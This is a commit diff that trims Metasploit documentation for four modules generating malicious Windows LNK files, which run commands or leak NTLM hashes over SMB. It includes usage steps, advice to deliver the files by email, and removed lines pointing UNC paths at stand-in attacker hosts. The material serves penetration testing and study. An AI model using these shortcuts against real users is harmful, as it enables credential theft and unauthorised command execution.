Skip to content

Commit c044db6

Browse files
committed
Cleares up docs
1 parent 310b8b7 commit c044db6

File tree

4 files changed

+31
-208
lines changed

4 files changed

+31
-208
lines changed

documentation/modules/auxiliary/fileformat/datablock_padding_lnk.md

Lines changed: 8 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,7 @@
1-
This module generates a malicious Windows shortcut (LNK) file that exploits padding in the command line arguments to execute arbitrary commands. It leverages environment variables and inserts whitespace padding to concatenate and run the specified payload when the LNK is opened.
2-
3-
The technique allows command execution without direct user interaction beyond opening the shortcut, making it useful for phishing or payload delivery scenarios.
4-
51
## Vulnerable Application
62

7-
Windows systems where LNK files are processed, such as in Explorer or when shortcuts are executed. This can lead to arbitrary command execution via manipulated command line buffers.
3+
Windows systems where LNK files are processed, such as in Explorer or when shortcuts are executed.
4+
This can lead to arbitrary command execution via manipulated command line buffers.
85

96
References:
107
- [ZDI-CAN-25373](https://www.zerodayinitiative.com/advisories/ZDI-CAN-25373/)
@@ -17,26 +14,15 @@ Disclosure Date: 2025-07-19.
1714
## Verification Steps
1815

1916
1. Start msfconsole.
20-
2. Load the module: `use auxiliary/fileformat/windows_lnk_padding`.
21-
3. Set required options (e.g., FILENAME, COMMAND).
22-
4. Optionally customize DESCRIPTION, ICON_PATH, or BUFFER_SIZE.
23-
5. Execute the module: `run`.
24-
6. A malicious LNK file will be generated.
25-
7. Deliver the LNK file to the target Windows system.
26-
8. Open the LNK file to trigger command execution (e.g., launching calc.exe).
17+
1. Load the module: `use auxiliary/fileformat/windows_lnk_padding`.
18+
1. Optionally customize FILENAME, DESCRIPTION, ICON_PATH, or BUFFER_SIZE.
19+
1. Execute the module: `run`.
20+
1. A malicious LNK file will be generated.
21+
1. Deliver the LNK file to the target Windows system.
22+
1. Open the LNK file to trigger command execution (e.g., launching calc.exe).
2723

2824
## Options
2925

30-
### FILENAME
31-
32-
Specifies the name of the generated LNK file.
33-
34-
Default: `poc.lnk`
35-
36-
Example:
37-
```
38-
set FILENAME exploit.lnk
39-
```
4026

4127
### COMMAND
4228

@@ -106,5 +92,3 @@ msf auxiliary(fileformat/windows_lnk_padding) > run
10692
[*] Target command: C:\\Windows\\System32\\calc.exe
10793
[*] Auxiliary module execution completed
10894
```
109-
110-
Deliver `calc.lnk` to the target (e.g., via email attachment or shared folder). When opened, it executes `calc.exe` using the padded command line. Monitor for execution side effects or adjust the COMMAND for more advanced payloads like downloading and running scripts.

documentation/modules/auxiliary/fileformat/environment_variable_datablock_leak.md

Lines changed: 10 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,7 @@
1-
This module generates a malicious Windows shortcut (LNK) file that embeds a special UNC path within the EnvironmentVariableDataBlock of the Shell Link structure. When a victim right-clicks the LNK file in Windows Explorer, it triggers an automatic authentication attempt to the specified remote SMB server, enabling the capture of NTLM hashes.
2-
3-
The exploit takes advantage of how Windows handles environment variables in LNK files during context menu operations, leading to unsolicited SMB connections without requiring the file to be opened.
4-
51
## Vulnerable Application
62

7-
Windows systems where LNK files are processed in Explorer, particularly during right-click actions that load context menus. This can result in NTLM credential leaks over SMB.
3+
Windows systems where LNK files are processed in Explorer, particularly during right-click actions that load context menus.
4+
This can result in NTLM credential leaks over SMB.
85

96
References:
107
- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/)
@@ -14,40 +11,17 @@ Disclosure Date: 2025-05-06.
1411
## Verification Steps
1512

1613
1. Start msfconsole.
17-
2. Load the module: `use auxiliary/fileformat/right_click_lnk_leak`.
18-
3. Set required options (e.g., FILENAME, UNC_PATH).
19-
4. Optionally customize DESCRIPTION, ICON_PATH, or PADDING_SIZE.
20-
5. Execute the module: `run`.
21-
6. A malicious LNK file is generated.
22-
7. Set up an SMB capture listener (e.g., `auxiliary/server/capture/smb`).
23-
8. Deliver the LNK file to the target system.
24-
9. Right-click the LNK file in Explorer to trigger the SMB connection.
25-
10. Monitor the listener for captured NTLM hashes.
14+
1. Load the module: `use auxiliary/fileformat/right_click_lnk_leak`.
15+
1. Optionally customize FILENAME, DESCRIPTION, ICON_PATH, or PADDING_SIZE.
16+
1. Execute the module: `run`.
17+
1. A malicious LNK file is generated.
18+
1. Set up an SMB capture listener (e.g., `auxiliary/server/capture/smb`).
19+
1. Deliver the LNK file to the target system.
20+
1. Right-click the LNK file in Explorer to trigger the SMB connection.
21+
1. Monitor the listener for captured NTLM hashes.
2622

2723
## Options
2824

29-
### FILENAME
30-
31-
The name of the generated LNK file.
32-
33-
Default: `msf.lnk`
34-
35-
Example:
36-
```
37-
set FILENAME context.lnk
38-
```
39-
40-
### UNC_PATH
41-
42-
The UNC path (e.g., `\\server\share`) that the LNK will attempt to access for credential capture.
43-
44-
Default: `\\192.168.1.1\share`
45-
46-
Example:
47-
```
48-
set UNC_PATH \\attacker.ip\captureshare
49-
```
50-
5125
### DESCRIPTION
5226

5327
The description for the shortcut.
@@ -91,10 +65,6 @@ Generate the LNK file:
9165

9266
```
9367
msf > use auxiliary/fileformat/right_click_lnk_leak
94-
msf auxiliary(fileformat/right_click_lnk_leak) > set FILENAME context.lnk
95-
FILENAME => context.lnk
96-
msf auxiliary(fileformat/right_click_lnk_leak) > set UNC_PATH \\192.168.1.25\share
97-
UNC_PATH => \\192.168.1.25\share
9868
msf auxiliary(fileformat/right_click_lnk_leak) > set DESCRIPTION Fake Document
9969
DESCRIPTION => Fake Document
10070
msf auxiliary(fileformat/right_click_lnk_leak) > set ICON_PATH %SystemRoot%\\System32\\imageres.dll
Lines changed: 7 additions & 72 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,3 @@
1-
This module generates a malicious Windows shortcut (LNK) file that embeds a special UNC path within the IconEnvironmentDataBlock of the Shell Link structure. When a victim browses to the directory containing the LNK file in Windows Explorer, it triggers an automatic authentication attempt to the specified remote SMB server, allowing for the capture of NTLM hashes.
2-
3-
The exploit relies on how Windows processes LNK files with manipulated environment data blocks, leading to unsolicited SMB connections without requiring the user to open the file.
4-
51
## Vulnerable Application
62

73
Windows systems using Explorer to browse directories with LNK files, where the IconEnvironmentDataBlock can force SMB authentication leaks.
@@ -14,36 +10,16 @@ Disclosure Date: 2025-05-16.
1410
## Verification Steps
1511

1612
1. Start msfconsole.
17-
2. Load the module: `use auxiliary/fileformat/iconenvironmentdatablock_lnk`.
18-
3. Set options like FILENAME, UNC_PATH, or others as needed.
19-
4. Execute the module: `run`.
20-
5. A malicious LNK file is generated.
21-
6. If UNC_PATH is not set, an integrated SMB capture server starts.
22-
7. Place the LNK in a target directory.
23-
8. Browse the directory in Windows Explorer to trigger the SMB connection.
24-
9. Check the console for captured NTLM hashes.
13+
1. Load the module: `use auxiliary/fileformat/iconenvironmentdatablock_lnk`.
14+
1. Set options like FILENAME, or others as needed.
15+
1. Execute the module: `run`.
16+
1. A malicious LNK file is generated.
17+
1. Place the LNK in a target directory.
18+
1. Browse the directory in Windows Explorer to trigger the SMB connection.
19+
1. Check the console for captured NTLM hashes.
2520

2621
## Options
2722

28-
### FILENAME
29-
30-
The name of the generated LNK file.
31-
32-
Default: `msf.lnk`
33-
34-
Example:
35-
```
36-
set FILENAME leak.lnk
37-
```
38-
39-
### UNC_PATH
40-
41-
The UNC path (e.g., `\\server\share`) for the LNK to connect to. If unset, the module starts its own SMB server.
42-
43-
Example:
44-
```
45-
set UNC_PATH \\192.168.1.100\share
46-
```
4723

4824
### DESCRIPTION
4925

@@ -74,29 +50,6 @@ Example:
7450
set PADDING_SIZE 20
7551
```
7652

77-
### Advanced Options
78-
79-
**SRVHOST**
80-
81-
Local host for the integrated SMB server (if UNC_PATH is unset).
82-
83-
Default: `0.0.0.0`
84-
85-
Example:
86-
```
87-
set SRVHOST 192.168.1.25
88-
```
89-
90-
**SRVPORT**
91-
92-
Local port for the integrated SMB server.
93-
94-
Default: `445`
95-
96-
Example:
97-
```
98-
set SRVPORT 445
99-
```
10053

10154
## Scenarios
10255

@@ -133,21 +86,3 @@ LM_CLIENT_CHALLENGE:Disabled
13386
NTHASH:samplehash
13487
NT_CLIENT_CHALLENGE:samplechallenge
13588
```
136-
137-
Crack the hash with tools like Hashcat.
138-
139-
### Custom UNC Path Usage
140-
141-
For an external SMB setup:
142-
143-
```
144-
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set UNC_PATH \\attacker.com\captureshare
145-
UNC_PATH => \\attacker.com\captureshare
146-
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > run
147-
148-
[*] Creating 'msf.lnk' file...
149-
[+] LNK file created: msf.lnk
150-
[*] Auxiliary module execution completed
151-
```
152-
153-
Monitor the external server for authentication attempts.
Lines changed: 6 additions & 72 deletions
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,19 @@
1-
This module generates a malicious Windows shortcut (LNK) file that embeds a special UNC path within the SpecialFolderDatablock of the Shell Link structure. When a victim browses to or interacts with the LNK file in Windows Explorer, it triggers an authentication attempt to the specified remote SMB server, enabling the capture of NTLM hashes.
2-
3-
This technique leverages a vulnerability in how Windows handles certain LNK file structures, resulting in automatic SMB connections without user interaction. The module can either point to a user-specified UNC path or start an integrated SMB capture server to harvest credentials.
4-
5-
Tested on Windows systems where Explorer processes LNK files.
6-
71
## Vulnerable Application
82

9-
Windows operating systems that process LNK files via Explorer, particularly when browsing directories containing the malicious shortcut. This can lead to NTLM credential leaks over SMB.
3+
Windows operating systems that process LNK files via Explorer, particularly when browsing directories containing the malicious shortcut.
4+
This can lead to NTLM credential leaks over SMB.
105

116
References:
127
- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/)
138
- [Exploit-DB 42382](https://www.exploit-db.com/exploits/42382)
14-
- [Related Metasploit Module](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb)
159

1610
Disclosure Date: 2025-05-10 (reported to MSRC).
1711

1812
## Verification Steps
1913

2014
1. Start msfconsole.
2115
2. Load the module: `use auxiliary/fileformat/specialfolderdatablock_lnk`.
22-
3. Customize options as needed (e.g., set FILENAME, UNCPATH, or APPNAME).
16+
3. Customize options as needed (e.g., set FILENAME or APPNAME).
2317
4. Execute the module: `run`.
2418
5. A malicious LNK file will be generated.
2519
6. If not using a custom UNCPATH, the module starts an SMB capture server automatically.
@@ -29,27 +23,7 @@ Disclosure Date: 2025-05-10 (reported to MSRC).
2923

3024
## Options
3125

32-
**FILENAME**
33-
34-
Specifies the name of the generated LNK file.
35-
36-
Default: `msf.lnk`
37-
38-
Example:
39-
```
40-
set FILENAME malicious.lnk
41-
```
42-
43-
**UNCPATH**
44-
45-
Defines the UNC path (e.g., `\\server\share`) that the LNK file will attempt to access. If not set, the module starts its own SMB server.
46-
47-
Example:
48-
```
49-
set UNCPATH \\192.168.1.100\share
50-
```
51-
52-
**APPNAME**
26+
### APPNAME
5327

5428
Sets the display name of the application in the LNK file. If empty, a random name is generated.
5529

@@ -58,29 +32,6 @@ Example:
5832
set APPNAME FakeApp
5933
```
6034

61-
**Advanced Options**
62-
63-
**SRVHOST**
64-
65-
The local host to listen on for the integrated SMB server (if UNCPATH is not set).
66-
67-
Default: `0.0.0.0`
68-
69-
Example:
70-
```
71-
set SRVHOST 192.168.1.25
72-
```
73-
74-
**SRVPORT**
75-
76-
The local port for the integrated SMB server.
77-
78-
Default: `445`
79-
80-
Example:
81-
```
82-
set SRVPORT 445
83-
```
8435

8536
## Scenarios
8637

@@ -107,7 +58,8 @@ msf auxiliary(fileformat/specialfolderdatablock_lnk) > run
10758
[*] Auxiliary module execution completed
10859
```
10960

110-
Deliver the `malicious.lnk` file to the target (e.g., via email or shared drive). When the victim opens the containing folder in Explorer, an SMB connection is attempted:
61+
Deliver the `malicious.lnk` file to the target (e.g., via email or shared drive).
62+
When the victim opens the containing folder in Explorer, an SMB connection is attempted:
11163

11264
```
11365
[*] SMB Captured - 2025-09-18 21:03:00 +0530
@@ -118,21 +70,3 @@ LM_CLIENT_CHALLENGE:Disabled
11870
NTHASH:examplehashvalue
11971
NT_CLIENT_CHALLENGE:examplechallenge
12072
```
121-
122-
Crack the captured hash using tools like Hashcat to recover credentials.
123-
124-
### Using a Custom UNC Path
125-
126-
If you have an external SMB server set up (e.g., for remote capture):
127-
128-
```
129-
msf auxiliary(fileformat/specialfolderdatablock_lnk) > set UNCPATH \\attacker.server\captureshare
130-
UNCPATH => \\attacker.server\captureshare
131-
msf auxiliary(fileformat/specialfolderdatablock_lnk) > run
132-
133-
[*] Generating malicious LNK file pointing to \\attacker.server\captureshare
134-
[+] malicious.lnk stored at /root/.msf4/local/malicious.lnk
135-
[*] Auxiliary module execution completed
136-
```
137-
138-
Monitor your external SMB server for incoming authentication attempts.

0 commit comments

Comments
 (0)